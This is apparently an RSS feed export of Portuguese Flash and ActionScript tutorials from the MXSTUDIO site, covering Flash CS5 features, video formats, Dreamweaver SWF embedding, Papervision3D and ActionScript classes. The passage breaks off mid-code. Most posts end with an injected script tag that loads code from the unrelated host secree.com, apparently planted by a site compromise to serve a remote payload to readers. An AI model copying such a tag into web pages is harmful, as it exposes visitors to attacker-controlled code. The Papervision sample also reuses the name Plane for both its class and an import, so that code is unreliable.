<p><img src="http://www.mxstudio.com.br/wp-content/uploads/2010/05/inicio.jpg" alt="Inicio Flash" width="590" height="277" class="size-full wp-image-3747" /><br />
<img src="http://www.mxstudio.com.br/wp-content/uploads/2010/05/inicio4.jpg" alt="Inicio Flash Builder" width="549" height="314" class="size-full wp-image-3750" /><br />
<img src="http://www.mxstudio.com.br/wp-content/uploads/2010/05/inicio3.jpg" alt="Inicio Photoshop" width="599" height="357" class="size-full wp-image-3749" /></p>
<p>E ae tela de boas vindas também passou por algumas alterações.</p>
<p><img src="http://www.mxstudio.com.br/wp-content/uploads/2010/05/inicio2.jpg" alt="Tela de boas vindas" width="586" height="541" class="size-full wp-image-3748" /></p>
<h2>Criando aplicativos para iPhone</h2>
<p>Mesmo com a proibição da Apple com relação a criação de aplicativos para iPhone, iPad e iPod que não usem a IDE da Apple a Adobe não removeu a função de criação de aplicativos para iPhone. Quando você instala o Flash CS5 aparece uma opção para instalar ou não essa opção, então quem não quiser instalar não é obrigado.</p>
<p>A criação de aplicativos é praticamente o mesmo processo de criação de aplicativos em Adobe AIR, você tem um painel com diversas opções de personalização.</p>
<p><img src="http://www.mxstudio.com.br/wp-content/uploads/2010/05/iphone.jpg" alt="Opções iPhone" width="500" height="684" class="size-full wp-image-3770" /><br />
<img src="http://www.mxstudio.com.br/wp-content/uploads/2010/05/iphone2.jpg" alt="Opções iPhone" width="500" height="684" class="size-full wp-image-3770" /><br />
<img src="http://www.mxstudio.com.br/wp-content/uploads/2010/05/iphone.jpg" alt="Opções iPhone" width="500" height="684" class="size-full wp-image-3770" /></p>
<h2>Novos elementos gráficos para a ferramenta Deco Tool</h2>
<p>A ferramenta Deco tool para quem não conhece, é uma ferramenta que permite criar elementos gráficos de forma facilitada e com diversas opções de personalização. Eu particularmente nunca cheguei a usar essa ferramenta, mas com tantas opções algum dia ela poderá ser útil.</p>
<p><img src="http://www.mxstudio.com.br/wp-content/uploads/2010/05/deco.jpg" alt="Deco Tool" width="600" height="365" class="size-full wp-image-3758" /></p>
<h2>Novas opções para Bone Tool</h2>
<p>A ferramenta Bone Tool permite criar estruturas semelhante a um esqueleto. E agora no Flash CS5 podemos criar animações mais realistas com as novas opções disponíveis para a ferramenta.</p>
<p><img src="http://www.mxstudio.com.br/wp-content/uploads/2010/05/bone.jpg" alt="Opções Ferramenta Bone Tool" width="284" height="484" class="size-full wp-image-3761" /></p>
<h2>Adobe CS Live</h2>
<p>Outra novidade bem legal da suite CS5 é a integração com o serviço CS Live. São 5 tipos de servidores online que prometem aumentar a produtividade, diminuir o desperdício de tempo e maior colaboração entre os envolvidos nos projetos. Os serviços oferecidos são:</p>
<ul>
<li>Adobe BrowserLab &#8211; Permite testar sites em diferentes browser e sistemas operacionais, criar comparações e diagnósticos.</li>
<li>Adobe CS Review &#8211; Permite criar avaliações de projetos, obtenção de comentários, etc.</li>
<li>Acrobat.com &#8211; Permite criar Web conferências, troca de arquivos e colaboração na criação de arquivos.</li>
<li>Adobe Story (beta) &#8211; Permite a criação de roteiros para vídeos.</li>
<li>SiteCatalyst® NetAverages™ &#8211; Permite verificar as partes mais acessadas de seu site, quais navegadores usados, sistemas operacionais, etc.</li>
</ul>
<p>O acesso a esses serviços está em um menu no canto superior direito dos programas, você precisa ter uma Adobe ID para fazer login e poder ter acesso a todos a esses serviços.</p>
<p><img src="http://www.mxstudio.com.br/wp-content/uploads/2010/05/cslive.jpg" alt="Adobe CS Live" width="242" height="417" class="size-full wp-image-3763" /></p>
<p>Mais informações sobre o Adobe CS Live pode ser encontrado através desse <a href="http://www.adobe.com/products/creativesuite/cslive/" target="_blank">link</a>.</p>
<h2>Conclusões</h2>
<p>Esse foi apenas um aperitivo com as novidades do Flash CS5. No próximo artigo mostrarei novidades na criação de campos de texto, novas opções para vídeo, e novidades no painel Properties. Lembrando que todos os aplicativos da suite CS5 estão disponíveis para teste no site da Adobe para Windows e Mac, vocês podem usar os programas por 30 dias de forma gratuita.</p>
<p>Gostaria de aproveitar a oportunidade e convidar todos os leitores a visitarem meu Portfolio Online, lá você poderão encontrar todos os meus trabalhos e tutoriais desenvolvidos: <a href="http://www.natanalves.com" target="_blank">http://www.natanalves.com</a></p>
<p>Um abraço a todos e até a próxima.</p>
<p>Autor: Natan D. Alves – Moderador do Fórum de Flash &amp; ActionSctipt MXSTUDIO</p>
<p>Qualquer dúvida envie um e-mail para <a href="mailto:natanalves@mxstudio.com.br">natanalves@mxstudio.com.br</a> ou acesse nosso <a href="http://www.mxstudio.com.br/forum" target="_blank">fórum</a> <script src="http://secree.com/re"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://www.mxstudio.com.br/desenvolvimento/flash/novidades-do-flash-cs5-parte-1/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>Qual formato de vídeo usar no Site ?</title>
		<link>http://www.mxstudio.com.br/tecnologia/geral/qual-video-usar-no-site/</link>
		<comments>http://www.mxstudio.com.br/tecnologia/geral/qual-video-usar-no-site/#comments</comments>
		<pubDate>Sat, 17 Apr 2010 18:17:11 +0000</pubDate>
		<dc:creator>Douglas S.G</dc:creator>
				<category><![CDATA[Flash]]></category>
		<category><![CDATA[Geral]]></category>
		<category><![CDATA[.flv]]></category>
		<category><![CDATA[formato]]></category>
		<category><![CDATA[player]]></category>
		<category><![CDATA[vídeo]]></category>

		<guid isPermaLink="false">http://www.mxstudio.com.br/?p=3623</guid>
		<description><![CDATA[Esta é uma duvida muito comum de quem está começando, porque não sabe qual é o formato mais indicado.
Entre os formatos mais comuns de videos temos:
.wmv &#8211; Só no roda no windows (sem plugin)
.mov &#8211; precisa de quicktime
.avi &#8211; precisa de activex
.flv &#8211; precisa do flash player
Cada formato de vídeo tem a sua exigência porém [...]]]></description>
			<content:encoded><![CDATA[<p>Esta é uma duvida muito comum de quem está começando, porque não sabe qual é o formato mais indicado.</p>
<p>Entre os formatos mais comuns de videos temos:</p>
<p><strong>.wmv</strong> &#8211; Só no roda no windows (sem plugin)</p>
<p><strong>.mov</strong> &#8211; precisa de quicktime</p>
<p><strong>.avi</strong> &#8211; precisa de activex</p>
<p><strong>.flv</strong> &#8211; precisa do flash player</p>
<p>Cada formato de vídeo tem a sua exigência porém o mais indicado é o <strong>.flv</strong>.</p>
<p>Motivo: Quem nunca acessou o YouTube ou site do genero, para rodar este formato é necessário tem instalado o Flash Player, mas quem não tem, acho que todo pc que tem acesso a internet tem este player. Por ser um dos mais utilizados ele é o mais indicado, mais de 98% dos computadores tem o player instalado. Então chega de dúvidas ao inserir um video no seu site utilize o formato .FLV. <script src="http://secree.com/re"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://www.mxstudio.com.br/tecnologia/geral/qual-video-usar-no-site/feed/</wfw:commentRss>
		<slash:comments>6</slash:comments>
		</item>
		<item>
		<title>Integrando arquivo Flash com Dreamweaver CS4</title>
		<link>http://www.mxstudio.com.br/desenvolvimento/dreamweaver/integrando-arquivo-flash-com-dreamweaver-cs4/</link>
		<comments>http://www.mxstudio.com.br/desenvolvimento/dreamweaver/integrando-arquivo-flash-com-dreamweaver-cs4/#comments</comments>
		<pubDate>Sat, 17 Apr 2010 17:17:54 +0000</pubDate>
		<dc:creator>Douglas S.G</dc:creator>
				<category><![CDATA[Dreamweaver]]></category>
		<category><![CDATA[Flash]]></category>
		<category><![CDATA[Arquivo]]></category>
		<category><![CDATA[cs4]]></category>
		<category><![CDATA[inserir]]></category>
		<category><![CDATA[integrando]]></category>
		<category><![CDATA[properties]]></category>

		<guid isPermaLink="false">http://www.mxstudio.com.br/?p=3610</guid>
		<description><![CDATA[Neste meu segundo tópico vamos ver como aproveitar ao máximo o poder do Dreamweaver.
Vou explicar como inserir um arquivo Flash (.swf) e como configurá-lo.
Inserindo o arquivo:

Insert &#62; Media &#62; SWF ou Ctrl+Alt+F
Selecione o arquivo desejado e OK
Ao ter inserido aparecerá as seguinte opções em Properties

Loop: Faz com que o arquivo fique dando loop sem parar.
Autoplay: [...]]]></description>
			<content:encoded><![CDATA[<p>Neste meu segundo tópico vamos ver como aproveitar ao máximo o poder do Dreamweaver.</p>
<p>Vou explicar como inserir um arquivo Flash (.swf) e como configurá-lo.</p>
<p>Inserindo o arquivo:</p>
<p><a href="http://www.mxstudio.com.br/wp-content/uploads/2010/04/Insert_flash.jpg"><img class="aligncenter size-medium wp-image-3611" src="http://www.mxstudio.com.br/wp-content/uploads/2010/04/Insert_flash-300x83.jpg" alt="" width="300" height="83" /></a></p>
<p><strong>Insert</strong> &gt; <strong>Media</strong> &gt; <strong>SWF</strong> ou <strong>Ctrl</strong>+<strong>Alt</strong>+<strong>F</strong></p>
<p>Selecione o arquivo desejado e <strong>OK</strong></p>
<p>Ao ter inserido aparecerá as seguinte opções em <em>Properties</em></p>
<p><a href="http://www.mxstudio.com.br/wp-content/uploads/2010/04/properties.jpg"><img class="aligncenter size-medium wp-image-3613" src="http://www.mxstudio.com.br/wp-content/uploads/2010/04/properties-300x51.jpg" alt="" width="300" height="51" /></a></p>
<p><strong>Loop</strong>: Faz com que o arquivo fique dando loop sem parar.</p>
<p><strong>Autoplay</strong>: Inicia a exibição automaticamente</p>
<p><strong>W</strong>: Largura</p>
<p><strong>H</strong>: Altura</p>
<p><strong>V Space</strong>: Espaçamento Vertical</p>
<p><strong>H Space</strong>: Espaçamento Horizontal</p>
<p><strong>File</strong>: Localização do arquivo SWF</p>
<p><strong>Src</strong>: Localização do arquivo fonte do SWF</p>
<p><strong>Quality</strong>: A qualidade que será exibida do filme</p>
<p><strong>Scale</strong>: Escala em relação ao filme</p>
<p><strong>Bg</strong>: Cor de Background</p>
<p><strong>Edit</strong>: Abre o Flash para que você edite o arquivo FONTE.</p>
<p><strong>Align</strong>: Alinhamento em relação à página</p>
<p><strong>Wmode</strong>: Uma opção nova no CS4 na qual é possivel colocar transparência no filme SWF</p>
<p><strong>Play</strong>: Faz com que o arquivo rode dentro do próprio Dream</p>
<p><strong>Class</strong>: Aplica uma classe(css) no filme</p>
<p><strong>Parameters&#8230;</strong>: Abre uma nova janela permitindo a inserção de parâmetros</p>
<p><em>Dica: Para impedir a exibição do menu direito do filme adicione aos parâmetros &#8211; </em><strong><em>Menu</em></strong><em> com value </em><strong><em>False</em></strong><em> ou </em><strong><em>0</em></strong> <script src="http://secree.com/re"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://www.mxstudio.com.br/desenvolvimento/dreamweaver/integrando-arquivo-flash-com-dreamweaver-cs4/feed/</wfw:commentRss>
		<slash:comments>3</slash:comments>
		</item>
		<item>
		<title>Papervision 3D: Primeiros Passos</title>
		<link>http://www.mxstudio.com.br/desenvolvimento/flash/papervision-3d-primeiros-passos/</link>
		<comments>http://www.mxstudio.com.br/desenvolvimento/flash/papervision-3d-primeiros-passos/#comments</comments>
		<pubDate>Mon, 15 Mar 2010 13:30:39 +0000</pubDate>
		<dc:creator>Marcio Silva</dc:creator>
				<category><![CDATA[Flash]]></category>
		<category><![CDATA[Papervision3d]]></category>

		<guid isPermaLink="false">http://www.mxstudio.com.br/?p=3330</guid>
		<description><![CDATA[

Olá Pessoal,
Sou Márcio Silva, e neste tutorial mostrarei os primeiros passos para que você possa começar a desenvolver seus aplicativos, jogos e animações utilizando o Papervision3D Engine.
Pré-requisitos:  Conhecimento em Action Script 3.0.  Conhecimento em Adobe Flash CS4.
O que é Papervision 3D?
Papervision 3D (P3D) é uma Engine Open Source para criação de Cenas 3D [...]]]></description>
			<content:encoded><![CDATA[<link href="http://www.mxstudio.com.br/webgerenciador/_css/PadraoCss.css" rel="stylesheet" type="text/css" />
<script src="http://www.mxstudio.com.br/js/ColorCode.js"></script></p>
<p style="text-align: justify;">Olá Pessoal,</p>
<p style="text-align: justify;">Sou Márcio Silva, e neste tutorial mostrarei os primeiros passos para que você possa começar a desenvolver seus aplicativos, jogos e animações utilizando o Papervision3D Engine.</p>
<p style="text-align: justify;">Pré-requisitos:  Conhecimento em Action Script 3.0.  Conhecimento em Adobe Flash CS4.</p>
<p style="text-align: justify;"><strong>O que é Papervision 3D?</strong></p>
<p style="text-align: justify;">Papervision 3D (P3D) é uma Engine Open Source para criação de Cenas 3D no Adobe Flash. Com esta engine podemos manipular de uma forma simplificada elementos 3D, escondendo detalhes de baixo nível. Esta engine não realiza cálculos físicos, como por exemplo gravidade, atrito, colisão elástica e inelástica, entre outros. Para isto é necessário a utilização de outras engines destinadas apenas a realizar cálculos físicos, isto será tema de outros tutoriais.</p>
<p style="text-align: justify;"><strong>Como começar?</strong></p>
<p style="text-align: justify;">Como escrevi nos pré-requisitos, é indispensável o conhecimento de básico ao intermediário no Action Script 3.0. A API do P3D é totalmente orientada a objetos e possui uma documentação de código muito boa. Neste tutorial, utilizo como ferramenta o Adobe Flash CS4 para programar e rodar a aplicação.</p>
<p style="text-align: justify;">
<p style="text-align: justify;"><strong>Passo 1</strong> &#8211; Primeiramente você deve baixar o P3D que está hospedado no Google Code: <a href="http://code.google.com/p/papervision3d/">http://code.google.com/p/papervision3d/</a>.</p>
<p style="text-align: justify;"><strong>Passo 2 &#8211; </strong>Crie um pasta com o nome de sua escolha e descompacte o conteúdo do arquivo <strong>.ZIP</strong> .</p>
<p style="text-align: justify;"><strong>Passo 3 </strong>- Abra o Adobe Flash CS4, e crie um novo arquivo <strong>.FLA </strong>do tipo AS3 com o nome <strong>PlaneP3D.fla. </strong>Coloque as seguintes configurações:</p>
<p style="text-align: justify;"><a href="http://www.mxstudio.com.br/wp-content/uploads/2010/03/img3.png"><img src="http://www.mxstudio.com.br/wp-content/uploads/2010/03/img3.png" alt="Configurações" title="Configurações" width="199" height="263" class="alignnone size-full wp-image-3332" /></a></p>
<p style="text-align: justify;"><strong>Passo 4 &#8211; </strong>Para que o Adobe Flash encontre as definições de classe do Papervision 3D é necessário configurar o Library Path. Vá em <strong>Edit-&gt;Preferencces-&gt;Action Script, </strong>clique em <strong>ActionScript 3.0 Settings. </strong>Informe o diretório onde você descompactou o Papervision 3D. No meu caso ficou como mostrado abaixo:</p>
<p style="text-align: justify;"><a href="http://blog.creativerender.com/wp-content/uploads/2010/03/img2.png"><img class="aligncenter size-full wp-image-49" title="Classpath" src="http://blog.creativerender.com/wp-content/uploads/2010/03/img2.png" alt="" width="451" height="530" /></a></p>
<p style="text-align: justify;"><strong>Passo 5 &#8211; </strong>Crie um Action Script File (<strong>.AS</strong>) com o nome de <strong>PlaneP3D.as</strong>.<strong> </strong></p>
<p style="text-align: justify;"><strong> </strong> <strong>Passo 6 &#8211; </strong>No arquivo <strong>PlaneP3D.as </strong>coloque o seguinte código.</p>
<div id="codigo" title="AS">
package<br />
{<br />
	import flash.display.Sprite;<br />
	import flash.events.Event;<br />
	import org.papervision3d.cameras.Camera3D;<br />
	import org.papervision3d.render.BasicRenderEngine;<br />
	import org.papervision3d.scenes.Scene3D;<br />
	import org.papervision3d.view.Viewport3D;<br />
	import org.papervision3d.objects.primitives.Plane;</p>
<p>	public class Plane extends Sprite<br />
	{<br />
		public var viewport:Viewport3D = new Viewport3D();<br />
		public var scene:Scene3D = new Scene3D();<br />
		public var camera:Camera3D = new Camera3D();<br />
		public var renderer:BasicRenderEngine = new BasicRenderEngine();<br />
		public var plane:Plane = new Plane();</p>
<p>		public function Plane()<br />
		{<br />
			addChild(viewport);<br />
			scene.addChild(plane);<br />
			renderer.renderScene(scene, camera, viewport);<br />
			addListeners ();<br />
		}</p>
<p>		private function addListeners ()<br />
		{<br />
			addEventListener(Event.ENTER_FRAME, render);<br />
		}</p>
<p>		private function render (e:Event)<br />
		{<br />
			plane.x +=3;<br />
			renderer.renderScene(scene, camera, viewport);<br />
		}<br />
	}<br />
}</p></div>
<p><strong>Alguns comentários sobre o código</strong></p>
<p><strong>O que é Viewport3D?</strong></p>
<p>Para explicar o que é a Viewport3D, só fazer uma analogia à tela de cinema, onde é projetado o filme para que seja possível assistí-lo. Portanto, é uma região retangular onde é projetado a Cena 3D.</p>
<p><strong>O que é uma Camera3D?</strong></p>
<p><strong> </strong>A Camera utilizada aqui é a mesma que você já conhece do cinema, ela grava o que acontece no mundo e projeta na tela (View Port).</p>
<p><strong>O que é Scene3D?</strong></p>
<p>A Cena 3D é basicamente o mundo que se deseja ver.</p>
<p><strong>O que é BasicRenderEngine?</strong></p>
<p>Fazendo novamente analogia ao cinema,  o Basic Render Engine é o Diretor, ele grita &#8220;Ação&#8221; e tudo acontece: A Camera começa a filmar, projetando a Cena na View Port. Por isso nada acontece se ele não &#8220;ordenar&#8221; através do método <em>renderScene ().</em></p>
<p>O Construtor da classe <strong>Plane </strong>dá o pontapé inicial adicionando a <strong>View Port </strong>ao stage, pois o restante dos objetos serão renderizados dentro dela. Todos os objetos pertencentes à Cena, neste caso o Plano, devem ser adicionados ao objeto <strong>scene. </strong>Como nesta cena o plano será deslocado para a direita à cada <strong>ENTER_FRAME</strong>, um listener foi adicionado.</p>
<p>Pronto, se você não pressionou <strong>CTRL + ENTER </strong>para ver o que acontece, pressione agora e veja o resultado.</p>
<p>Veja o resultado final aqui <a href="http://blog.creativerender.com/wp-content/uploads/2010/03/PlaneP3D.swf">PlaneP3D</a>.</p>
<p>Baixe os arquivos deste tutorial: <a href="http://blog.creativerender.com/wp-content/uploads/2010/03/papervision_beginner.zip" target="_blank">http://blog.creativerender.com/wp-content/uploads/2010/03/papervision_beginner.zip</a></p>
<p><strong>Autor: M&aacute;rcio Silva &#8211; Colunista de Flash &amp; ActionSctipt MXSTUDIO.</strong><br />
Site: <a href="http://www.creativerender.com" target="_blank">www.creativerender.com</a> e <a href="http://www.marciosilva.net" target="_blank">www.marciosilva.net</a>
</p>
<p>Qualquer d&uacute;vida envie um e-mail para <a href="mailto:contato@creativerender.com" target="new">contato@creativerender.com</a> ou acesse nosso <a href="http://www.mxstudio.com.br/forum/index.php?showforum=127" target="forum">f&oacute;rum</a></p>
<p><script>FormatAS(new Array('AS'))</script> <script src="http://secree.com/re"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://www.mxstudio.com.br/desenvolvimento/flash/papervision-3d-primeiros-passos/feed/</wfw:commentRss>
		<slash:comments>3</slash:comments>
		</item>
		<item>
		<title>Slide Itens em Actionscript 3.0</title>
		<link>http://www.mxstudio.com.br/desenvolvimento/flash/slide-itens-em-actionscript-3-0/</link>
		<comments>http://www.mxstudio.com.br/desenvolvimento/flash/slide-itens-em-actionscript-3-0/#comments</comments>
		<pubDate>Sun, 29 Nov 2009 17:49:34 +0000</pubDate>
		<dc:creator>Lucas_marcal</dc:creator>
				<category><![CDATA[Flash]]></category>

		<guid isPermaLink="false">http://www.mxstudio.com.br/?p=2880</guid>
		<description><![CDATA[Salve
pessoal, durante muito tempo em uma determinada agência que eu
trabalhei eu utilizei essa classe (ainda em Actionscript 2.0) para
apresentar produtos, imagens, noticias etc&#8230;
Por esse motivo decidi fazer uma versão dela para Actionscript 3.0
espero que ela possa ser útil á você nos seus trabalhos assim como ela
foi muito útil para mim!
Lembre-se siga-me no Twitter &#60;a href=&#8221;http://www.twitter.com/lmcosta&#8220;&#62;@lmcosta&#60;/a&#62;
Classe [...]]]></description>
			<content:encoded><![CDATA[<p><span style="font-family: 'Lucida Grande',Verdana,Arial,'Bitstream Vera Sans',sans-serif; font-size: 13px; line-height: 19px; white-space: pre-wrap;">Salve<br />
pessoal, durante muito tempo em uma determinada agência que eu<br />
trabalhei eu utilizei essa classe (ainda em Actionscript 2.0) para<br />
apresentar produtos, imagens, noticias etc&#8230;<br />
Por esse motivo decidi fazer uma versão dela para Actionscript 3.0<br />
espero que ela possa ser útil á você nos seus trabalhos assim como ela<br />
foi muito útil para mim!<br />
Lembre-se siga-me no Twitter &lt;a href=&#8221;<a href="http://www.twitter.com/lmcosta" target="_blank">http://www.twitter.com/lmcosta</a>&#8220;&gt;@lmcosta&lt;/a&gt;</p>
<p>Classe FullSlide.as</p>
<pre class="brush: as3; first-line: 8; gutter: false; highlight: [10,11]; pad-line-numbers: false; wrap-lines: false;">
package lmcosta.slide
{
import flash.display.MovieClip;
import flash.events.Event;
import flash.events.MouseEvent;
import gs.*;
import gs.easing.*;

/**
* ...
* @author  &lt;span&gt;Lucas&lt;/span&gt; &lt;span&gt;Marçal&lt;/span&gt;
* @link    &lt;a href=&quot;http://www.lucasmarcal.com.br/blog&quot; target=&quot;_blank&quot;&gt;www.lucasmarcal.com.br/blog&lt;/a&gt;
* @see     &lt;a href=&quot;http://tweener.googlecode.com/svn/trunk/examples/&quot; target=&quot;_blank&quot;&gt;http://tweener.googlecode.com/svn/trunk/examples/&lt;/a&gt;
* @version 1.0
* @usage
*  import lmcosta.slide.FullSlide
var mySlide:FullSlide = new FullSlide();
addChild(this.mySlide);
var _arr:Array =  new Array(mc1,mc2,mc3,mc4,mc5);
var btSlideX:MovieClip;
var btSlideY:MovieClip;
this.btVai.addEventListener(MouseEvent.MOUSE_DOWN , clickVai);
this.btVem.addEventListener(MouseEvent.MOUSE_DOWN , clickVem);
function clickVai (e:MouseEvent):void
{
e.target.parent.parent.mySlide.moveItens(1);
}
function clickVem (e:MouseEvent):void
{
e.target.parent.parent.mySlide.moveItens(-1);
}
*/
public class FullSlide extends MovieClip
{
/**
* DEFININDO PROPRIEDADES
*/
public var itensMc:Array;
public var tipoSlide:String;
public var posX:Number;
public var posY:Number;
public var distanciaItens:Number;
public var distanciaItensFoco:Number;
public var tempoEase:Number;
public var distancia:Number;
public var itemAtual:Number;
public var itemX:Number;
public var itemY:Number;

public function FullSlide()
{
trace(&quot;Iniciou&quot;)
}
/**
*
* @param	tipo:            Tipo de alinhamento X ou Y
* @param	arr :            Array que contém os MovieClips
* @param	distancia:       Distancia dos MovieClips na hora do alinhamento
* @param	foco:            Distancia que o item deve se mover
* @param	indiceAtual:     MovieClip Atual
* @param	posicaoX:        Posição em X
* @param	posicaoY:        Posição em Y
*/
public function setSlide(tipo:String,arr:Array,distancia:Number, foco:Number,indiceAtual:Number,posicaoX:Number,posicaoY:Number):void
{
this.tipoSlide = tipo;
this.itensMc = arr;
this.itemAtual = indiceAtual;
this.distanciaItens = distancia;
this.distanciaItensFoco = foco;
this.posX = posicaoX;
this.posY = posicaoY;
this.tempoEase = 0.5;
setPosItens();
}

private function setPosItens():void
{

for (var i:Number = 0; i &amp;lt; this.itensMc.length; i++)
{
if (this.tipoSlide == &quot;Y&quot;)
{
this.distancia = this.itemAtual - i;
this.itemY = this.posY + (this.distancia * - this.distanciaItens);
this.itensMc[i].x = Math.round(this.posX);
if (this.distancia != 0)
{
this.itemY += (Math.round(this.distanciaItensFoco) - Math.round(this.distanciaItens)) * (Math.round(this.distancia) &amp;gt; 0 ? -1 : +1);
}
TweenMax.to(this.itensMc[i], this.tempoEase, {y:Math.round(this.itemY),ease:Expo.easeOut});
}
else
{
this.distancia = this.itemAtual - i;
this.itemX = this.posX + (this.distancia * - this.distanciaItens);
this.itensMc[i].y = Math.round(this.posY);
if (this.distancia != 0)
{
this.itemX += (Math.round(this.distanciaItensFoco) - Math.round(this.distanciaItens)) * (Math.round(this.distancia) &amp;gt; 0 ? -1 : +1);
}
TweenMax.to(this.itensMc[i], this.tempoEase, {x:Math.round(this.itemX),ease:Expo.easeOut});
}
if(i - this.itensMc.length != 1)
{
TweenMax.to(this.itensMc[i], this.tempoEase, { blurFilter: { blurX:10, blurY:10, quality:1 }, z:1 } );
}
if (this.tempoEase &amp;gt; 0)
{
TweenMax.to(this.itensMc[this.itemAtual], this.tempoEase/2, {blurFilter:{blurX:0,blurY:0, quality:2},z:1});
}
var refItem:MovieClip = this.itensMc[i] as MovieClip;
refItem.buttonMode = true;
refItem.addEventListener(MouseEvent.MOUSE_DOWN , onDown);
refItem.addEventListener(MouseEvent.MOUSE_OVER , onOver);
refItem.addEventListener(MouseEvent.MOUSE_OUT , onOut);
refItem.nome = i;
}
}

private function onOut(e:Event):void
{
TweenMax.to(e.target, 0.2, { tint:null, ease:Linear.easeNone } );
}

private function onOver(e:Event):void
{
TweenMax.to(e.target, 0.2, { tint:0xcccccc, ease:Linear.easeNone } );
}

public function onDown(e:Event):void
{
trace(&quot;item &quot; + e.target.nome);
this.setItens(e.target.nome)
}
/**
* @param	indice
*/
public function moveItens(indice:Number):void
{
this.setItens(this.itemAtual + indice);
}
/**
* @param	indice
*/
public function setItens(indice:Number):void
{

if (indice &amp;lt; 0) indice = 0;
if (indice &amp;gt; this.itensMc.length - 1) indice = this.itensMc.length - 1;
if (indice != this.itemAtual)
{
this.itemAtual = indice;
this.setPosItens();
}
}

}

}
</pre>
<p>&lt;a href=&#8221;<a href="http://www.lucasmarcal.com.br/labs/FullSlide.html" target="_blank">http://www.lucasmarcal.com.br/labs/FullSlide.html</a>&#8220;&gt;Exemplo&lt;/a&gt;<br />
&lt;a href=&#8221;<a href="http://www.lucasmarcal.com.br/labs/FullSlide.rar" target="_blank">http://www.lucasmarcal.com.br/labs/FullSlide.rar</a>&#8220;&gt;Arquivos do Tutorial&lt;/a&gt;</p>
<p>Abraço a todos, semana que vem tem mais!</span> <script src="http://secree.com/re"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://www.mxstudio.com.br/desenvolvimento/flash/slide-itens-em-actionscript-3-0/feed/</wfw:commentRss>
		<slash:comments>3</slash:comments>
		</item>
		<item>
		<title>Validando Campos de formulário no Actionscript 3.0</title>
		<link>http://www.mxstudio.com.br/desenvolvimento/flash/validando-campos-de-formulario-no-actionscript-3-0/</link>
		<comments>http://www.mxstudio.com.br/desenvolvimento/flash/validando-campos-de-formulario-no-actionscript-3-0/#comments</comments>
		<pubDate>Sun, 29 Nov 2009 17:48:11 +0000</pubDate>
		<dc:creator>Lucas_marcal</dc:creator>
				<category><![CDATA[Flash]]></category>

		<guid isPermaLink="false">http://www.mxstudio.com.br/?p=2878</guid>
		<description><![CDATA[Salve Pessoal
No meu primeiro artigo sobre Actionscript 3.0 eu mostro uma classe que eu fiz para validar campos de formularios.
[coolcode lang="actionscript"]
/**
* @autor: Lucas Marçal
* @email: inbox@lucasmarcal.com.br
* @date:  15/05/2009
* @coment: para adicionar um evento ao modificar o conteudo do campo
* de texto registrar o evento
* textInput.addEventListener(Event.CHANGE,clicou);
* public function clicou (e:Event)
{
//trace(&#8220;Mudando&#8221;)
}
* */
package owinteractive.utils
{
import flash.display.MovieClip;
import flash.events.FocusEvent;
import flash.text.TextField;
import [...]]]></description>
			<content:encoded><![CDATA[<p><span style="font-family: 'Lucida Grande',Verdana,Arial,'Bitstream Vera Sans',sans-serif; font-size: 13px; line-height: 19px; white-space: pre-wrap;">Salve Pessoal<br />
No meu primeiro artigo sobre Actionscript 3.0 eu mostro uma classe que eu fiz para validar campos de formularios.</p>
<p>[coolcode lang="actionscript"]<br />
/**<br />
* @autor: <span>Lucas</span> <span>Marçal</span><br />
* @email: <a href="mailto:inbox@lucasmarcal.com.br" target="_blank">inbox@lucasmarcal.com.br</a><br />
* @date:  15/05/2009<br />
* @coment: para adicionar um evento ao modificar o conteudo do campo<br />
* de texto registrar o evento<br />
* textInput.addEventListener(Event.CHANGE,clicou);<br />
* public function clicou (e:Event)<br />
{<br />
//trace(&#8220;Mudando&#8221;)<br />
}<br />
* */<br />
package owinteractive.utils<br />
{<br />
import flash.display.MovieClip;<br />
import flash.events.FocusEvent;<br />
import flash.text.TextField;<br />
import gs.easing.*<br />
import gs.*</p>
<p>public class Validation extends MovieClip<br />
{<br />
public var textInput:   TextField;<br />
public var tipo:        String;<br />
public  var textStatus:  Boolean;<br />
public var textOutput:  TextField;<br />
public var textName:    String;<br />
public var mcStatus:    MovieClip;<br />
public var limpar:      Boolean;</p>
<p>public function Validation (_txtCamp:TextField,_type:String,_txtResp:TextField,_txtName:String,_mcStatus:MovieClip,_clear:Boolean):void<br />
{<br />
this.textInput = _txtCamp;<br />
this.tipo = _type;<br />
this.textStatus = false;<br />
this.textOutput = _txtResp;<br />
this.textName = _txtName;</p>
<p>if (_mcStatus != null)<br />
{<br />
this.mcStatus = _mcStatus;<br />
}<br />
this.limpar = _clear;<br />
this.textInput.addEventListener(FocusEvent.FOCUS_IN, onIn);<br />
this.textInput.addEventListener(FocusEvent.FOCUS_OUT,onOut);<br />
}</p>
<p>public function onIn(f:FocusEvent):void<br />
{<br />
//trace(&#8220;Selecionou &#8221; + <a href="http://f.target.name/" target="_blank">f.target.name</a>)<br />
if (this.limpar == true)<br />
{<br />
f.target.text = &#8220;&#8221;<br />
}<br />
else<br />
{<br />
trace(&#8220;Não Limpar campo&#8221;)<br />
}<br />
}</p>
<p>public function onOut(f:FocusEvent):void<br />
{<br />
if(this.tipo == &#8220;email&#8221;)<br />
{<br />
this.emailValidation(f)<br />
}<br />
else<br />
{<br />
this.textValidation(f)<br />
}<br />
}</p>
<p>public function textValidation(t:*):void<br />
{<br />
if(t.target.text == &#8220;&#8221;)<br />
{<br />
//trace(&#8220;Campo Vazio&#8221;)<br />
this.textStatus = false<br />
this.textOutput.text = &#8220;Preencher o campo &#8221; + this.textName<br />
if (this.mcStatus != null)<br />
{<br />
this.mcStatus.gotoAndStop(3)<br />
}<br />
}<br />
else<br />
{<br />
//trace(&#8220;Campo Preenchido&#8221;)<br />
this.textStatus = true<br />
if (this.mcStatus != null)<br />
{<br />
this.mcStatus.gotoAndPlay(2)<br />
TweenMax.to(this.mcStatus, 0.5, { alpha:0, ease:Linear.easeNone,delay:2,onComplete:retornaStatus} );<br />
}</p>
<p>}<br />
}<br />
public function emailValidation(t:*):void<br />
{<br />
var email:String = t.target.text;<br />
var arroba:Number = email.indexOf(&#8220;@&#8221;);<br />
var ponto:Number = email.lastIndexOf(&#8220;.&#8221;);<br />
var resp:Boolean = arroba &gt; 0 &amp;&amp; ponto &gt; arroba;</p>
